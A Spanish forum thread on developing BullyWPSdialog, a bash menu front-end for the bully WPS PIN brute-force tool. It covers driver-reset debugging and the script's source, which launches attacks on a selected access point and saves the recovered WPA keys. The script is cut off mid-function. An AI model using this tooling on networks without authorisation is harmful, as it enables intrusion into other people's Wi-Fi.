Además al hacer eso, también se desmonta automáticamente mon0 si es que existiera, por tanto me ahorro hacer otra función para desmontar las tarjetas que estén en modo monitor  ;)

pero yo creo que de ese modo te cepillas la wlanX y la atheros 9k no es capaz de recuperarse, y simplemente con un simple down/up consigues lo mismo.

a ver si newuser lo prueba y me dice de si asi no le da problemas la ath9k
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: warcry en 24-09-2013, 21:03 (Martes)
jajaja nada... que no le ha gustado a el eso de que desmonte el driver... pues nada, ahora tendré que hacer otra función que detecte cuando está en el ordenador de warcry y en ese caso no desmonte el driver..  ;D

jajjajaj, lo que pasa que eres un abuson y te quieres lucir con el codigo  ;D ;D ;D
Título: Re: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: sanson en 24-09-2013, 21:55 (Martes)
Seres. Que se me pasaba .

Muy chulo, gran trabajo!!!   Muchas gracias

Saludos

Pd al Warcry le encanta pixelar jajajajj
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 24-09-2013, 22:12 (Martes)


Es mas efectivo desmontar el driver y volver a montarlo, que hacer un ifconfig wlan0 down

Además al hacer eso, también se desmonta automáticamente mon0 si es que existiera, por tanto me ahorro hacer otra función para desmontar las tarjetas que estén en modo monitor  ;)

pero yo creo que de ese modo te cepillas la wlanX y la atheros 9k no es capaz de recuperarse, y simplemente con un simple down/up consigues lo mismo.

a ver si newuser lo prueba y me dice de si asi no le da problemas la ath9k

en esta ocasion geminis esta mejor encaminado.

desmontar driver ya te la deja abajo , y ademas como recien estrenada.

solo un up y listo.


Con una ath9k , te conectas a un ap y  te desconectas y la interface queda abajo , ...pues abajo ..NO VA CON REAVER NI NADA...SIN EMBARGO SI DESMONTAS EL DRIVER , y asi te queda abajo tambien , pero entonces si funciona con lo que es evidente que desmontar el driver es mucho mejor que down+up


Aqui solo falta saber por que con las usb atheros falla...por que todas las demas usb van bien ( realtek y ralink ).

Tengo que probar algo ... por que al desmontar el driver se supone que las interfaces en monitor deberian desaparecer sin embargo yo las sigo viendo up ...

creo que cuando hay mas de una athX , se equivoca de interface , pero noe estoy seguro.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: warcry en 24-09-2013, 22:28 (Martes)
cuando haceis lo que decis, estais montando la interface como otro medio fisico.

Código: [Seleccionar]
wifislax ~ # iwconfig
wlan0     IEEE 802.11bgn  ESSID:off/any 
          Mode:Managed  Access Point: Not-Associated   Tx-Power=0 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on
         
lo        no wireless extensions.

eth0      no wireless extensions.

wifislax ~ # airmon-ng start wlan0


Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID     Name
1898    dhcpcd


Interface       Chipset         Driver

wlan0           Ralink RT2870/3070      rt2800usb - [phy0]
                                (monitor mode enabled on mon0)

wifislax ~ # iwconfig
wlan0     IEEE 802.11bgn  ESSID:off/any 
          Mode:Managed  Access Point: Not-Associated   Tx-Power=35 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on
         
lo        no wireless extensions.

mon0      IEEE 802.11bgn  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=35 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
         
eth0      no wireless extensions.                                               
                                                                               
wifislax ~ # rmmod -f rt2800usb                                                 
wifislax ~ # iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wifislax ~ # modprobe rt2800usb
wifislax ~ # iwconfig
wlan0     IEEE 802.11bgn  ESSID:off/any 
          Mode:Managed  Access Point: Not-Associated   Tx-Power=0 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on
         
lo        no wireless extensions.

eth0      no wireless extensions.

wifislax ~ # ifconfig wlan0 up
wifislax ~ # iwconfig
wlan0     IEEE 802.11bgn  ESSID:off/any 
          Mode:Managed  Access Point: Not-Associated   Tx-Power=35 dBm   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on
         
lo        no wireless extensions.

eth0      no wireless extensions.

wifislax ~ # airmon-ng start wlan0


Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID     Name
1898    dhcpcd


Interface       Chipset         Driver

wlan0           Ralink RT2870/3070      rt2800usb - [phy1]
                                (monitor mode enabled on mon0)

wifislax ~ #

hemos pasado del phy0 al phy1, y cuanto mas veces se repita el script mas medios fisicos creareis... son infinitos  ???  a  mi me da que no

sin embargo con un simple down/up mantienes el medio fisico en este caso phy1

Código: [Seleccionar]
wifislax ~ # ifconfig wlan0 down
wifislax ~ # ifconfig wlan0 up
wifislax ~ # airmon-ng start wlan0


Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID     Name
1898    dhcpcd


Interface       Chipset         Driver

wlan0           Ralink RT2870/3070      rt2800usb - [phy1]
                                (monitor mode enabled on mon0)

wifislax ~ #

no digo que esto sea el causante de lo que le pasa a las atheros 9k, pero bueno no tiene que ser tampoco...
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 24-09-2013, 22:54 (Martes)
solo lo digo una vez mas..

ya no basta un simple down / up  si lo quieres entender vale sino pues nada.


estos drivers no son iguales..y si ya te has conectado a un ap , por mucho up/down y la del medio ..el driver se queda pillao...necesita limpieza total.

esto sucede del 3.9 hacia arriba.


en el 3.9.11 aun funcionaba bien con un simple down y up ..pero ya no.


es por eso que las ath9k ( las pci ) , necesitan un up ...cuando antes no...sin embargo las ath9 USB , pueden pirular con la interface abajo ...aunque no probe a conectarme y desconectarme de un ap, para comprobar si el driver queda tocado.

mire todos los procesos y no hay ni wpa supplicant ni nada a lo que hechar la culpa...cuando desconectas desde wicd, este ya tumba todo el solo.

lo de la phy ya lo vi ...   no hay problema en eso , ademas al reiniciar el equipo todo vuelve a cero.

Título: Re: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: warcry en 24-09-2013, 23:08 (Martes)
A ver que lo entienda yo, me estás diciendo que cuando utilizas wicd tienes que tirar el driver abajo para que funcione en modo monitor ???

Y de ser así, ninguna GUI, ni ninguna aplicacion, ni script anterior funcionará con este tipo kernel
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 24-09-2013, 23:39 (Martes)
Citar
Tengo que probar algo ... por que al desmontar el driver se supone que las interfaces en monitor deberian desaparecer sin embargo yo las sigo viendo up ...

creo que cuando hay mas de una athX , se equivoca de interface , pero noe estoy seguro.

Decias que esos chipset usaban 2 drivers, ¿has probado a desmontar los 2 y volver a montarlos maualmente?

Puede que el problema sea que el script solo detecta un driver y el otro lo deja desmontado.

Que rabia no tener un adaptador con ese chip para poder hacer las pruebas..  :-\
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: alist3r en 25-09-2013, 01:03 (Miércoles)


Es mas efectivo desmontar el driver y volver a montarlo, que hacer un ifconfig wlan0 down

Además al hacer eso, también se desmonta automáticamente mon0 si es que existiera, por tanto me ahorro hacer otra función para desmontar las tarjetas que estén en modo monitor  ;)

pero yo creo que de ese modo te cepillas la wlanX y la atheros 9k no es capaz de recuperarse, y simplemente con un simple down/up consigues lo mismo.

a ver si newuser lo prueba y me dice de si asi no le da problemas la ath9k

la atheros de newuser no lo se, pero la mia, va mucho mejor reventando el driver para luego recargarlo.
no hay color.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: alist3r en 25-09-2013, 01:04 (Miércoles)
Citar
Tengo que probar algo ... por que al desmontar el driver se supone que las interfaces en monitor deberian desaparecer sin embargo yo las sigo viendo up ...

creo que cuando hay mas de una athX , se equivoca de interface , pero noe estoy seguro.

Decias que esos chipset usaban 2 drivers, ¿has probado a desmontar los 2 y volver a montarlos maualmente?

Puede que el problema sea que el script solo detecta un driver y el otro lo deja desmontado.

Que rabia no tener un adaptador con ese chip para poder hacer las pruebas..  :-\

los driver de tipo biblioteca no deberian dar problemas porque no son los que instancian a los dispositivos. son solo rutinas cargadas en la zona de memoria del núcleo.
Título: Re: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 25-09-2013, 10:53 (Miércoles)
A ver que lo entienda yo, me estás diciendo que cuando utilizas wicd tienes que tirar el driver abajo para que funcione en modo monitor ???

Y de ser así, ninguna GUI, ni ninguna aplicacion, ni script anterior funcionará con este tipo kernel

si que funcionan , PERO , funcionan MUCHO  mejor cuando el driver es recargado y limpiado despues de una conexion al ap.


solo eso , que va mejor si el driver es remonatado...ya que queda totalmente limpio.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: alist3r en 25-09-2013, 11:00 (Miércoles)
y el que no lo entienda, le invito a hacer esta prueba:
recién inicializado, un adaptador está sin un canal asignado.
normalmente se queda saltando canales libremente, buscando redes que conoce.
si ejecutas iwconfig, no hay ningun dato relevante de frecuencua/canal.

cuando el adaptador ha estado conectado en un canal, obviamente ha tenido ajustado un canal especifico, y eso se queda ahí, en el kernel, mientras esa instancia del dispositivo siga en memoria.
 
intentad DES-setear el canal en el que ya ha estado la interfaz conectada previamente, usando comandos (esto tiene trampa ;) )
probad reaver/bully.

luego desinstanciad el driver totalmente con rmmod. cargadlo de nuevo. y sin pasar por el modo managed en absoluto, iniciliazadla en modo monitor.
probad de nuevo reaver/bully.

en mi atheros de la serie 9000 el resultado es diametralmente opuesto. y tembien tengo que recordaros que gran parte de los parches que se han introducido en el kenel 3.9 en adelante, son precisamente para sortear por las bravas el comportamiento del kernel, que oficialmente no permite instancias de interfaces en modo monitor mientras exista una sola instancia de la misma interfaz en modo managed, para evitar, precisamente, este problema del bloqueo de canales (que poro otro lado es totalmente lógico que se produzca, porque la instancia managed necesita forzosamente el bloqueo de canal)
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 25-09-2013, 11:21 (Miércoles)
Bueno , de momento puedo decir y digo , que el problema de las usb atheros viene por la funcion de desmontar el driver.

si comento esa funcion , el adaptador tira bien en el script.


asi que , me tocara jugar a las 7 diferencias ...e intentar ver por que cuando se desmonta y remonta el driver , el adaptador no tira.


Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: warcry en 25-09-2013, 11:23 (Miércoles)
Bueno , de momento puedo decir y digo , que el problema de las usb atheros viene por la funcion de desmontar el driver.

si comento esa funcion , el adaptador tira bien en el script.


asi que , me tocara jugar a las 7 diferencias ...e intentar ver por que cuando se desmonta y remonta el driver , el adaptador no tira.




estaba claro  ^-^
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: alist3r en 25-09-2013, 11:27 (Miércoles)
Bueno , de momento puedo decir y digo , que el problema de las usb atheros viene por la funcion de desmontar el driver.

si comento esa funcion , el adaptador tira bien en el script.


asi que , me tocara jugar a las 7 diferencias ...e intentar ver por que cuando se desmonta y remonta el driver , el adaptador no tira.


respecto a las usb atheros no puedo ayudar en nada. eso si, parece claro que su comportamiento es totalmente diferente :-S
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 25-09-2013, 14:59 (Miércoles)
Bueno , de momento puedo decir y digo , que el problema de las usb atheros viene por la funcion de desmontar el driver.

si comento esa funcion , el adaptador tira bien en el script.


asi que , me tocara jugar a las 7 diferencias ...e intentar ver por que cuando se desmonta y remonta el driver , el adaptador no tira.




estaba claro  ^-^

el que estaba claro ?...si solo falla con los usb atheros..los demas chipsets usb resetean perfectamente.

Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 25-09-2013, 15:05 (Miércoles)
Bien , ..como soy un negado del bash ..

me he hecho un mini script con la funcion , y direcatmente el nombre de la interface (wlan1 )


Código: [Seleccionar]
#!/bin/bash

DRIVER="$(basename "$(ls -l "/sys/class/net/wlan1/device/driver")")"

echo "$DRIVER"

el cual me responde

ath9k_htc

PERO EN REALIDAD EL PADRE ES ..

ath9k

el que hay que resetear es ath9k ...


Creo que ningun driver wifi ..lleva la barra baja ...

¿ en DRIVER=   UNa  funcion cut  para eliminar y dejar solo ath9k ? ?  
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: alist3r en 25-09-2013, 15:53 (Miércoles)
Bien , ..como soy un negado del bash ..

me he hecho un mini script con la funcion , y direcatmente el nombre de la interface (wlan1 )


Código: [Seleccionar]
#!/bin/bash

DRIVER="$(basename "$(ls -l "/sys/class/net/wlan1/device/driver")")"

echo "$DRIVER"

el cual me responde

ath9k_htc

PERO EN REALIDAD EL PADRE ES ..

ath9k

el que hay que resetear es ath9k ...


Creo que ningun driver wifi ..lleva la barra baja ...

¿ en DRIVER=   UNa  funcion cut  para eliminar y dejar solo ath9k ? ?  


bueeeeno, ahora que lo dicessssss...
el caso de las atheros usb es interesante.

porque en lugar de tener un driver biblioteca y un driver especifico (como las rtl), tiene un driver general y un driver de capa.

el driver htc proporciona la capa de transporte hacia el usb, de toda la lógica implementada en el driver ath9k.

si me preguntan cuál de los dos sería bueno borrar y reinsertar....... no me atreveria a responder.

es posible que parte de la instancia del dispositivo la esté manejando el ath9k, ya que es él quien proporciona la lógica, la abstracción y la capa de comunicación con el stack wireless del kernel. sin embargo, ese modulo por si solo no podria controlar un usb dado que necesita el ath9k_htc.


seria bueno hacer las pruebas por separado. desinstanciando el htc y viendo si por sí solo es capaz de causar cambios.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: alist3r en 25-09-2013, 15:55 (Miércoles)

Creo que ningun driver wifi ..lleva la barra baja ...

¿ en DRIVER=   UNa  funcion cut  para eliminar y dejar solo ath9k ? ?  

si, claro.

echo $DRIVER | cut -d"_" -f1

y listo.

de todos modos, hay que asegurarse de que esa suposición es acertada. podemos liarla, si no.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: alist3r en 25-09-2013, 15:56 (Miércoles)
te paso un lsmod filtrado con las lineas que contienen guion bajo:

root@engetsu:~# lsmod | grep _
nls_utf8               12456  0
hid_generic            12393  0
hid                    81782  2 hid_generic,usbhid
pci_stub               12429  1
binfmt_misc            12925  1
videobuf2_vmalloc      12848  1 uvcvideo
videobuf2_memops       12519  1 videobuf2_vmalloc
videobuf2_core         31098  1 uvcvideo
videodev               92451  2 uvcvideo,videobuf2_core
usb_storage            47976  1
snd_hda_codec_hdmi     31720  4
snd_hda_codec_realtek    32667  1
snd_hda_intel          31229  5
snd_hda_codec         122910  3 snd_hda_codec_realtek,snd_hda_codec_hdmi,snd_hda_intel
snd_hwdep              13189  1 snd_hda_codec
snd_pcm_oss            41175  0
snd_mixer_oss          18034  1 snd_pcm_oss
snd_pcm                68435  4 snd_pcm_oss,snd_hda_codec_hdmi,snd_hda_codec,snd_hda_intel
crc32c_intel           21889  0
snd_page_alloc         13018  2 snd_pcm,snd_hda_intel
snd_seq_midi           12848  0
snd_seq_midi_event     13316  1 snd_seq_midi
snd_rawmidi            22995  1 snd_seq_midi
snd_seq                45106  2 snd_seq_midi_event,snd_seq_midi
snd_timer              22682  2 snd_pcm,snd_seq
sr_mod                 21988  0
snd_seq_device         13176  3 snd_seq,snd_rawmidi,snd_seq_midi
iTCO_wdt               12831  0
sdhci_pci              17935  0
iTCO_vendor_support    12704  1 iTCO_wdt
cdrom                  35173  1 sr_mod
snd                    52903  22 snd_hda_codec_realtek,snd_pcm_oss,snd_hwdep,snd_timer,snd_hda_codec_hdmi,snd_pcm,snd_seq,snd_rawmidi,snd_hda_codec,snd_hda_intel,snd_seq_device,snd_mixer_oss
sdhci                  27061  1 sdhci_pci
mmc_core               77769  2 sdhci,sdhci_pci
ehci_pci               12472  0
ehci_hcd               40590  1 ehci_pci
sparse_keymap          12760  0
mei_me                 13568  0
lpc_ich                16757  0
mfd_core               12601  1 lpc_ich
usbcore               134644  7 btusb,uvcvideo,rtlwifi,usb_storage,ehci_hcd,ehci_pci,usbhid
usb_common             12440  1 usbcore
mei                    45886  1 mei_me
serio_raw              12894  0
i2c_core               24353  3 drm,nvidia,videodev
toshiba_bluetooth      12641  0
thermal_sys            23137  3 video,thermal,processor
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 25-09-2013, 16:01 (Miércoles)
aprovecho que estas ON...

lo que queria hacer es una variable if, para que en el caso de

$DRIVER=ath9k_htc

entonces aplicarle el cut ,perio no me sale, por que en realidad no se mucho de bash..


este es mi intento fallido.


Código: [Seleccionar]
#!/bin/bash

DRIVER="$(basename "$(ls -l "/sys/class/net/wlan1/device/driver")")"

if [ $DRIVER = "ath9k_htc" ]; then
DRIVER=`$DRIVER | cut -d "_" -f 1´
fi

echo "$DRIVER"


la idea asi es mucho mejor ..solo aplicaremos cut al driver ath9k , ...es mucho mejor , pero omo siempre ...estoy limitado , al final me saldria, por que cabezon soy un rato , pero no tengo mucho tiempo ahora...

si lo ves y me das la solucion o si entra geminis, lo pruebo rapido y os digo.

por que tengo ath9k usb ( 2 tarjetas )

y mas o menos me defiendo.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 25-09-2013, 16:05 (Miércoles)
la funcion original es esta..hay que meterle el if ...

Código: [Seleccionar]
reset_iface() {

DRIVER="$(basename "$(ls -l "/sys/class/net/$INTERFACE/device/driver")")"

rmmod -f "$DRIVER" >/dev/null 2>&1
modprobe "$DRIVER" >/dev/null 2>&1
ifconfig $INTERFACE up >/dev/null 2>&1
}
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: alist3r en 25-09-2013, 16:10 (Miércoles)
una especie de "driver filter" podría hacerse así:
Código: [Seleccionar]
case "$DRIVER" in


  ath9k)
  # aqui las transformaciones necesarias para el caso del driver ath9k
  # por ejemplo:
  DRIVER="ath9k_htc"
  ;;


  rtl8139se, rtl8139ce, rtl8139su, rtl8139blablabla)
  # aqui las transformaciones necesarias para el caso drivers diversos de realtek
  DRIVER="rtlwifi" # es un poco bestia, pero es un ejemplo
  ;;


  *)
  # aqui el codigo referente a casos que no encajan en ninguno de los anteriores
  blah=blah
  ;;


esac

todo esto, justo después de
Código: [Seleccionar]
DRIVER="$(basename "$(ls -l "/sys/class/net/$INTERFACE/device/driver")")"
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 25-09-2013, 16:13 (Miércoles)
una especie de "driver filter" podría hacerse así:
Código: [Seleccionar]
case "$DRIVER" in


  ath9k)
  # aqui las transformaciones necesarias para el caso del driver ath9k
  # por ejemplo:
  DRIVER="ath9k_htc"
  ;;


  rtl8139se, rtl8139ce, rtl8139su, rtl8139blablabla)
  # aqui las transformaciones necesarias para el caso drivers diversos de realtek
  DRIVER="rtlwifi" # es un poco bestia, pero es un ejemplo
  ;;


  *)
  # aqui el codigo referente a casos que no encajan en ninguno de los anteriores
  blah=blah
  ;;


esac



no se nada de bash asi que me quedo exactamente igual.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 25-09-2013, 16:17 (Miércoles)
bueno ya esta..

Código: [Seleccionar]
#!/bin/bash

DRIVER="$(basename "$(ls -l "/sys/class/net/wlan1/device/driver")")"

case "$DRIVER" in
  ath9k_htc)
  DRIVER="ath9k"
  ;;
esac

echo "$DRIVER"

eso me devuelve

DRIVER=ath9k


osea el padre , voy a meterlo al script y probar.


el caso de las realtek creo que ni fu ni fa por que todas usan el mismo driver y no hay subdrivers , por llamarlo de alguna forma
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 25-09-2013, 16:20 (Miércoles)
SOLVED   >:(


Código: [Seleccionar]
# Función que desmonta y vuelve a montar el driver de la interface seleccionada
reset_iface() {

if [ "$INTERFACE" ]; then
DRIVER="$(basename "$(ls -l "/sys/class/net/$INTERFACE/device/driver")")"
case "$DRIVER" in
        ath9k_htc)
        DRIVER="ath9k"
        ;;
        esac
rmmod -f "$DRIVER"       >/dev/null 2>&1
modprobe "$DRIVER"       >/dev/null 2>&1
ifconfig "$INTERFACE" up >/dev/null 2>&1
fi

}


veo que ya se habia retocado esa funcion por otro asunto ..asi que os dejo la 0.8 , que es la 0.7  pero con la funcion de detectar driver funcional para atheros usb que usen ath9k_htc


VERSION 0.8

Código: [Seleccionar]
#!/bin/bash

# VERSION 0.1  12/09/2013
# -----------------------
# - Fecha de salida
#
# VERSION 0.2  12/09/2013
# -----------------------
# - Solucionado bug con ESSIDs que contengan espacios (Warcry)
#
# VERSION 0.3  13/09/2013
# -----------------------
# - Añadido parametro -N para que las ralink no fallen. (USUARIONUEVO)
#
# VERSION 0.4  13/09/2013
# -----------------------
# - Añadido parametro -F para evitar warnings si cambiamos de ataque secuencial a random o viceversa.
#  (USUARIONUEVO)
#
# VERSION 0.5  19/09/2013
# -----------------------
# - Añadido parámetro -hold para que no se cierre la xterm en caso de que se produzca algún error.
# - Solucionado problema que impedía leer la clave WPA del log de bully.
# - Se sustituye la función de desmontar interfaces en modo monitor por la de desmontar y volver
#   a montar el driver de la interface (es mas efectivo).
# - Ahora al seleccionar objetivo, se comprueba si la clave ya se ha obtenido anteriormente y
#   en caso afirmativo, se muestra la clave junto con la información del objetivo.
#
# VERSION 0.6  24/09/2013
# -----------------------
# - Modificada funciona de reseteo de interface para añadir al final un ifconfig up
# - Ahora se "resetea" la interface también al salir del script.
#
# VERSION 0.7  24/09/2013
# -----------------------
# - Solucionado bug que probocaba que se quedara el PIN "fijado"
#   en el ataque de fuerza bruta habiendo realizado anteriormente
#   un ataque introduciendo un PIN especifico.
# - Solucionado un error ortográfico.
#
# VERSION 0.8  24/09/2013
# -----------------------
# -Retocada funcion de detectar driver por problemas con ath9K_htc


# Variables globales
SCRIPT="BullyWPSdialog"
VERSION="0.8 Beta"
BACKTITLE="$SCRIPT $VERSION - By geminis_demon - SeguridadWireless.Net"
TMP="/tmp/$SCRIPT"
KEYS="$HOME/swireless/$SCRIPT/Keys"

# Función que obtiene PIN y clave WPA del log de bully
obtener_clave_wpa() {

# En caso de que el retun de bully no sea 0, de da por echo que no se ha obtenido la clave
if [ "$(tail -n 2 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]').run"|grep "signal 0$")" ]; then

# Se parsea el log de bully para obtener el PIN y la clave WPA
WPS_PIN="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]').run"|tr ':' ' '|awk '{print $2}')"
CLAVE_WPA="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]').run"|tr ':' ' '|awk '{print $4}')"

# Si el BSSID objetivo cumple con el CheckSum,
# este se calcula para saber cual es el último dígito del PIN
# (ya podría venir el PIN completo en el log de bully ¬¬)
if [ ! "$NO_CHECKSUM" ]; then
WPS_PIN=$(echo $WPS_PIN|cut -b 1,2,3,4,5,6,7)
pin=$WPS_PIN
wps_pin_checksum
WPS_PIN=$WPS_PIN$PIN_p2
fi
else
WPS_PIN=""
CLAVE_WPA=""
fi

}

# Función que desmonta y vuelve a montar el driver de la interface seleccionada
reset_iface() {

if [ "$INTERFACE" ]; then
DRIVER="$(basename "$(ls -l "/sys/class/net/$INTERFACE/device/driver")")"
case "$DRIVER" in
        ath9k_htc)
        DRIVER="ath9k"
        ;;
        esac
rmmod -f "$DRIVER"       >/dev/null 2>&1
modprobe "$DRIVER"       >/dev/null 2>&1
ifconfig "$INTERFACE" up >/dev/null 2>&1
fi

}

# Función comprobar si la interface está asociada a un punto de acceso
comprobacion_interface_asociada() {

# Si la interface está asociada, no se puede continuar
if [ ! "$(iwconfig $INTERFACE|grep "Not-Associated")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
      --ok-label "Salir" \
      --msgbox "\nPara evitar errores, la interface $INTERFACE \
               no debe estar asociada a un punto de acceso.\n " 0 0
exit 1
fi
}

# Función salvar clave WPA
salvar_clave_wpa() {

# Si no se ha obtenido la clave WPA, informamos de ello y volvemos al menú
if [ ! "$CLAVE_WPA" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " PROCESO COMPLETADO " \
      --ok-label "Volver al menú" \
      --msgbox "\nNo ha sido posible obtener la clave WPA\n " 0 0
     
# Si dialog no devuelve el valor 0, salimos
if [ $? != 0 ]; then
reset_iface; exit 1
fi

menu --InfoAP
fi

# Si existe la ruta $KEYS y no es un directorio se elimina
if [ -e "$KEYS" ] && [ ! -d "$KEYS" ]; then rm -rf "$KEYS"; fi

# Si no existe la ruta $KEYS la creamos
if [ ! -d "$KEYS" ]; then mkdir -p "$KEYS"; fi

# Salvamos la clave en un archivo de texto
NOMBRE="$ESSID_$(echo "$BSSID"|tr ':' '-')"
cat << EOF >"$TMP/$NOMBRE.key"
    ESSID: $ESSID
    BSSID: $BSSID
  PIN WPS: $WPS_PIN
CLAVE WPA: $CLAVE_WPA
EOF

# Convertimos el texto a formato windows
cat "$TMP/$NOMBRE.key"|sed -e 's/$/\r/' >"$KEYS/$NOMBRE.txt"

# Diálogo que informa donde se ha guardado la clave WPA
dialog --backtitle "$BACKTITLE" \
       --title " PROCESO COMPLETADO " \
       --ok-label "Volver al menú" \
       --msgbox "\n¡Se han obtenido con exito clave WPA! \
                \nLa clave ha sido guardada en: \n\n$KEYS/$NOMBRE.txt" 0 0

# Saltamos al menú principal
menu --InfoAP --InfoWPA
}

# Función lanzar ataque de fuerza bruta con bully
bully_wps() {

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Si no se ha seleccionado ningún objetivo no se puede continuar
if [ ! "$ESSID" -o ! "$BSSID" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
      --ok-label "Volver al menú" \
      --msgbox "\nNo se ha seleccionado ningún objetivo\n " 0 0
menu
fi

# Si el BSSID corresponde con 8C:0C:A3, el PIN no cumple con el CheckSum
if [ "$(echo "$BSSID"|cut -d':' -f1,2,3)" = "8C:0C:A3" ]; then
NO_CHECKSUM="-B"
LONGITUD_PIN="8"
else
NO_CHECKSUM=""
LONGITUD_PIN="7"
fi

# Si se ha elejido la opción de introducir PIN manualmente, mostramos el diálogo para introducir el pin
if [ "$1" = "--Pin" -o "$2" = "--Pin" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " INTRODUCIR PIN MANUALMENTE " \
      --cancel-label "Volver al menú" \
      --max-input "$LONGITUD_PIN" \
      --inputbox "\nIn troduce el PIN con un máximo de $LONGITUD_PIN dígitos:" 0 0 \
2>"$TMP/PIN_WPS.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al menú
if [ ! $? = 0 ]; then menu; fi

# Si no se intruduce un valor numérico, no se puede continuar
if [ ! "$(cat "$TMP/PIN_WPS.txt"|grep "^[0-9]*$")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " ERROR " \
      --msgbox "\nDebes introducir un valor numérico\n " 0 0
bully_wps --InfoAP --Pin
fi

# Guardamos en una variable el PIN junto con los parámetros para bully
PIN_WPS="-S -p $(cat "$TMP/PIN_WPS.txt")"
else
PIN_WPS=""
fi

# Lanzamos ataque con bully
xterm  -hold -fg FloralWhite -bg DarkBlue -T "Bully -> $ESSID" -e \
bully -F -b $BSSID -c $CANAL -v 3 $PIN_WPS $NO_CHECKSUM -N $INTERFACE_MON & BULLY_PID=$!

# Diálogo que aparecerá mientras se ejecuta el ataque
dialog --backtitle "$BACKTITLE" \
       --infobox "$INFO_AP\nSe ha puesto en marcha el ataque con bully,
                 presiona \"Control+C\" para detener el proceso.\n " 16 49
      
# Si se presiona "Control+C", se detiene el proceso de bully
trap 'kill $BULLY_PID >/dev/null 2>&1' SIGINT

# Mientras el proceso de bully esté activo, el script estrá "durmiendo"
while [ -e "/proc/$BULLY_PID" ]; do
sleep 2
done

# Obtenemos el PIN y clave WPA
obtener_clave_wpa

# Salvamos PIN y clave en un archivo
salvar_clave_wpa

}

# Función seleccionar objetivo
seleccionar_objetivo() {

# Si no se encuentran objetivos, no se puede continuar
if [ ! "$(cat "$TMP/wash_scan.txt")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
      --ok-label "Volver al menú" \
      --msgbox "\nNo se ha encontrado ningún objetivo con WPS activado.\n " 0 0
menu
fi

# Creamos el menú para seleccionar objetivo
N=1
cat "$TMP/wash_scan.txt"|while read MAC CANAL PWR VER LOCK ESSID; do
if [ "$LOCK" = "Yes" ]; then LOCK="Si"; fi
echo "\"$N)\" \"$MAC    $LOCK       $CANAL     $(($PWR+100))    $ESSID\" \\"
N=$(($N+1))
done >"$TMP/menu_objetivos.txt"

# Diálogo para seleccionar objetivo
dialog --backtitle "$BACKTITLE" \
       --title " SELECCIONAR OBJETIVO " \
       --cancel-label "Volver al menú" \
       --menu "\n              BSSID        Locked   Canal   PWR    ESSID" 0 0 0 \
       --file "$TMP/menu_objetivos.txt" \
2>"$TMP/seleccion.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al menú
if [ ! $? = 0 ]; then menu; fi

# Definimos los parámetros que se le pasarán a bully
SELECCION=$(cat "$TMP/seleccion.txt")
ESSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|cut -d' ' -f22-)"
